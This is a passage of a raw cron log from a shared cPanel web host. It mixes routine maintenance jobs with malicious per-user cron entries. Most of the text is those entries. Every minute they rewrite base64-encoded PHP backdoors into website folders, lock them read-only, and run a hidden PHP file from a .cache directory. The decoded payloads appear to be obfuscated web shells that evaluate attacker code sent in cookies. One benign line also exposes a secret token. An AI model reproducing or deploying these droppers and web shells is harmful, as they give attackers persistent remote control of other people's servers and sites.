dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:34:02 medusa CROND[3885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:34:02 medusa CROND[3898]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:34:02 medusa CROND[3899]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:35:01 medusa CROND[28309]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 14:35:02 medusa CROND[28398]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 14:35:02 medusa CROND[28445]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 14:35:02 medusa CROND[28448]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 14:35:02 medusa CROND[28450]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:35:02 medusa CROND[28451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:35:02 medusa CROND[28454]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:35:02 medusa CROND[28455]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 14:35:02 medusa CROND[28446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:35:02 medusa CROND[28447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 14:35:02 medusa CROND[28449]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:35:02 medusa CROND[28456]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:35:02 medusa CROND[28461]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:35:02 medusa CROND[28464]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 14:35:02 medusa CROND[28460]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 14:35:02 medusa CROND[28459]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 14:35:02 medusa CROND[28466]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:35:02 medusa CROND[28469]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 14:35:02 medusa CROND[28470]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:35:02 medusa CROND[28472]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:35:02 medusa CROND[28467]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 14:35:02 medusa CROND[28475]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:35:02 medusa CROND[28482]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 14:35:02 medusa CROND[28477]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 14:35:02 medusa CROND[28457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 14:36:02 medusa CROND[18000]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:36:02 medusa CROND[18001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:36:02 medusa CROND[18003]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 14:36:02 medusa CROND[18002]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:36:02 medusa CROND[18004]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:36:02 medusa CROND[18005]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 14:36:02 medusa CROND[18012]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:36:02 medusa CROND[18013]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:36:02 medusa CROND[18015]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:36:02 medusa CROND[18020]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:36:02 medusa CROND[18021]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3